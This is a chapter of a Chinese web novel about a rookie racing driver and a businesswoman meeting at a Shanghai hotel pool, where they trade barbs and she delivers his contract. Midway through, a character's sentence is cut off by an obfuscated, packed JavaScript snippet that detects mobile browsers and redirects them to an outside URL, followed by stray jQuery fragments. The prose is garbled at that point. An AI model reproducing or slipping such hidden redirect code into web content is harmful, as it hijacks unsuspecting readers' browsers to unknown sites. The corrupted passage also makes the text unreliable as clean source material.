11. 因为我已彻底沦陷

作品:《你的弱点

    备注为「体能训练3」的闹钟准时响起,似乎是担心被遗忘,克莱恩的体能训练师又专门提醒这名仍在适应期的新秀车手不要荒废时间。


    「如果觉得游泳太麻烦,至少去健身房有氧骑行一小时。」


    手机的主人被惊醒,翻身将闹钟和消息全部删除后将手机扔到了脚边,用枕头蒙住双耳,克莱恩企图继续入睡。


    却是无论如何都睡不着了,几分钟后他烦躁地从床上爬起,捡回手机,让在上海的中国朋友帮自己点一份高油高糖的外卖当晚餐。


    ——反正Ryan本来就不看好他,现在又被要求不惜一切代价帮助兰切斯特夺冠。车队已无他的容身之处,他还不如自暴自弃等着一年短约结束后直接被裁好了。


    所有的镁光灯和掌声都会留给兰切斯特,没人会在意一位名不见经传的新秀车手为留在围场付出了哪些努力。


    这一切的一切都只能怪自己。


    克莱恩认为自己不应该在伦敦的那个夜晚为时隔多年仍一眼认出应开澜而感到沾沾自喜,不该被她身上挥发出的白兰地香气所蛊惑,更不应该在那晚之后控制不住地继续联系她,甘之如饴地欣赏她的善变和傲慢。


    他不该今天去单独和她说话,没有换来她任何的另眼相看,反倒替兰切斯特那个自私且愚蠢的家伙做了嫁衣。


    哪怕她是如此的聪明、勇敢和沉稳,比他想象得更懂得争取自己的权利。


    如果没有认识她,他或许可以更心平气和地接受身为二号车手的命运。


    克莱恩决定不断骚扰她以实行报复。


    「你在干什么?」


    「想不想我来上海找你?」


    「我们已经接近两周没有见面了。」


    他百无聊赖地斜躺在床上,偶尔切出去和几个中国朋友聊上两句,大多数时间停留在短信页面等待回复。


    他的体能师已经在欧洲歇斯底里,不断地质问克莱恩的心率为什么没有任何波动。


    「可能是我现在的心肺耐力太强,骑行对我来说没用了吧。」


    克莱恩毫不在意地用随口捏造的谎言敷衍。


    直到短信页面的“已送达”变成了“已读”,他猛地拿起手机,急切地阅读她的回信。


    「别来,我没心情。」


    「我还要去给一个白痴送合同。」


    「因为他的缘故,我现在一视同仁地痛恨所有外国人。」


    ——她居然真的要亲自送合同过来。


    克莱恩从床上弹射而起,从行李箱中翻出泳帽泳镜和泳裤后以最快的速度冲出了门。


    /


    像是克莱恩已经安排好了一切,应开澜到达酒店的瞬间,就有专人引导她上电梯:


    “克莱恩先生在进行体能训练,他说为了不耽误您宝贵的时间,请您直接过去。”


    此刻恰逢黄昏,赤烈的云霭穿梭于鳞次栉比的城市高楼,被擦拭到不染尘埃的玻璃外墙层层折射,一座城市最贪婪的欲望在夜色落下前就已经被烧得通红。


    应开澜以为的体能训练,至多也就是在健身房或者赛车模拟器上,她已经做好摒气以隔绝汗臭的准备,酒店前台却领着她继续穿过走廊进入第二间电梯,再次上楼来到了泳池区。


    泳池是25*12的标准大小,双侧分别矗立「拉弓的赫拉克勒斯」和「阿波罗与达芙妮」两座雕像,有白色的薄纱会随风而起,落地窗前落日此刻恰好被东方明珠塔一箭贯穿,余晖和水波一道层层晕开。


    应开澜很想问这里真的有人吗,为什么空旷到静谧无声,泳池水面也在轻微的起伏后逐渐归于平静,转身时却发现酒店前台已不知何时离开。


    耐心迅速告罄,她的心情实在算不上好,有一种今天全天都在被克莱恩一直戏耍的愤懑之感堆积心头。


    她象征性地蹲下身拨了拨水面就准备离开,将要起身时水面却乍起波澜,大小迥异的水花腾空而起,破开空气飞溅到了她的路铂廷高跟鞋之上,有几道渗入丝袜,小腿被瞬间冰凉缠绕。


    当飞扬的水雾终于散去时,应开澜黑着一张脸,睁开刚刚下意识紧闭的双眼,看到金发碧眼的男孩儿就在自己身前钻出了水面,他正摘去泳帽,缎面一般的卷毛短发还湿漉漉淌着水,一直滚落到他漂亮的锁骨和巨大的胸肌之上。


    波光粼粼的水面晕影在他白皙的皮肤上不断跳跃,他扬起笑容望向她:


    “Bigfish!”


    应开澜都不分清他在说他自己还是在说她。


    无声对视两秒,应开澜忽然装作被吓到,紧闭双眼,放声尖叫,再死死地把他的脑袋摁回水里。


    “……”


    应开澜自己也经常游泳,恰到好处地掌握着懵逼不伤脑的憋气时间,差不多之后就松开手让他浮起水面,佯装心有余悸地拍拍胸脯:


    “抱歉啊,我真的被你吓到了。”


    “……”


    好吧不得不承认克莱恩的心肺耐力比自己预想得要更好,重新露出水面后依然不见任何激烈的喘息,他将双手支于岸边利落地起身。


    洁白的身体犹如逐渐铺开的卷轴,漂亮的腹肌下面依然是漂亮的腹肌,直到露出黑色的泳裤裤沿,应开澜才不疾不徐地收回目光。


    ——有点想小金毛了,也不知道他的肌肉碰水之后会皱缩还是会像海洋宝宝一样继续膨胀。


    可千万一定要是后者啊。


    应开澜有一瞬间怀疑克莱恩把自己约到这里是不是目的不纯贼心不死,但是他上岸后却又迅速拿了浴巾盖在了身前,令她抓不到任何证据。


    他接着拿了第二块浴巾,并重新坐回到岸边。


    应开澜此刻已经重新站直,瞥了一眼心想这外国佬也讲男德么,还知道拿一块浴巾罩住自己的裤衩。


    然而下一秒,她却看见克莱恩将浴巾折叠成了小方块,随后覆在了自己的高跟鞋表面。


    ——这一招确实高明了,饶是应开澜也愣上了两秒,一动不动地看完了他慢条斯理地俯身将自己漆面高跟鞋上的水珠擦拭干净。


    直至鞋面锃亮到可以反射倒影,望见自己正呆呆的微张着嘴,看上去蠢得无可救药。


    他的眉眼低垂而专注,擦完她的鞋后又重新将浴巾铺开,如应开澜最初猜测得那样,将其盖在了自己腰部以下的位置。


    这可比只帮她擦鞋还要歹毒,应开澜挫败地想自己哪天要是栽跟头了一定是栽在男人手里,连眼前这么一个又坏又菜的货色她都要想入非非几秒钟。


    克莱恩已经重新抬头仰视她,伸出了他被泳池水泡得有些皱的双手:


    “给我合同吧,我现在签。”


    应开澜理智迅速回笼,将手里的文件夹高举过头顶,淡声问他:


    “你让我专门跑一趟,就是为了让我见识你的好身材么?那你不如去开通Pxxnhxxb账号,我可以订阅。”


    克莱恩被气笑了:


    “那你要求车队牺牲我帮兰切斯特拿到冠军,就是为了把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547416|171203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我赶出围场并让我成为色///情网红么?对我这么感兴趣我现在就可以脱给你看。”


    “我对小米辣没兴趣——你以为兰切斯特没拿到冠军,你就可以继续留在围场了么?”


    如果一个人真的拥有小米辣,那么他一定会暴怒。


    但如果一个人拥有大香槟,那么他只会发笑。


    克莱恩属于哪一种不必多说,过了片刻他才收敛了笑意:


    “你就这么喜欢兰切斯特?冒着和车队谈崩的风险也要替他争取机会?”


    应开澜觉得他的每句话都毫无逻辑可言,但还是耐着性子说没错:


    “我是很喜欢他啊,谁强我就喜欢谁。”她意味深长地将他从上到下打量了一遍:


    “谁弱我就瞧不起谁。”


    克莱恩不为所动,平静地说那我害怕极了:


    “真害怕下一站蒙特利尔你会无可救药地爱上我。”


    “谁给你的自信?是银石站十六名还是摩纳哥半路退赛?”


    “记得这么清楚?看比赛光盯着我了?”


    应开澜已经对打嘴仗感到兴味索然,她冷下脸,问出了今天愿意专门跑一趟的真正目的:


    “你今天为什么暗示我向车队提出更多要求?为了让我谈崩?好让你家的保险公司趁虚而入?”


    克莱恩终于站起了身,与她眼神对视:


    “你意识到原先提出的条件太保守只是时间问题,你很聪明,没有我的暗示你也很就会回过神。”


    “而且你同时给出了令车队无法拒绝的丰厚待遇,一次性支付三千万欧元和采购一万台民用发电机,这笔买卖对车队而言同样不亏——即使我的家人正在做着Theo成为世界冠军的美梦,也未必会这么大方。”


    “应小姐,我对权力的博弈没有兴趣,我的智商也并不允许和你一样思考太复杂的问题,我只是觉得我们的相识似乎不够美好,想借信息差试着弥补一下我在你心里糟糕的形象。”


    有一种思考了一路的谜面,谜底是一个愚蠢至极的答案的感觉,应开澜缓缓呼出一口气,沿用了这个过分亲近的称呼:


    “好的Theo,那让我们回到最开始,请你解释一下你当时为什么要对我的腰又揉又捏?”


    方才滔滔不绝能言善辩的西奥多克莱恩先生在这一刻沉默了。


    他的母亲是德国一名出色的精神心理科医生,克莱恩多少耳濡目染到一些,结合小时候他见到的应开澜的表现,他很快就意识到了她或许患有严重的脸盲症。


    一种难以治愈,会给患者带来严重社交恐惧的疾病。


    一开始没能说出“克莱恩就是在夜晚和你约会的DoggyDug”随着时间的流逝和她态度不断转化而变得越来越难以启齿——明明他一直在等待这这么一个说出真相的时机。


    此刻眼前却只剩下鲜活生动的应开澜和白日里运筹帷幄决断果敢的MissYing。


    亦或者泰晤士河旁的夜晚,她将头发拢直一旁,自信地展示自己雪白的后背的瞬间。


    那个在双语小学里怯懦得连话都说不出的小女孩儿,不知何时已经成长得这么优秀了么。


    克莱恩开始找不到自己的声音。


    良久之后,他才看重新看向她紧蹙的双眉,和眼神里毫不掩饰的质疑与戒备。


    他垂下眼,声音轻到像是只说给自己听:


    “CauseIamthrough.”


    因为我已彻底沦陷。